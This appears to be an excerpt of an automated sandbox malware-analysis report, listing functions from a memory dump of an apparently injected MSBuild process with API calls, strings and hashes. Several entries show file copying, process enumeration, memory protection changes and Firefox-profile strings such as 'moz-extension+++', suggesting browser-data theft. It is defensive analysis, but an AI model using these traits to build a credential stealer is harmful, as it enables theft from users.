SetEnvironmentVariableA.KERNEL32(01404F68,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,013F9B80,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,013F9B80,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 59e3b6fef0e60a733583db89beee0d9b9a2fbad9dfe2b8ffc7aef949c7d8b4e5
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: 59e3b6fef0e60a733583db89beee0d9b9a2fbad9dfe2b8ffc7aef949c7d8b4e5
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,01404CD8), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F0578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,013F0578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DAE, 00406DD2, 00406E5E, 00406EAF, 00406E94

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
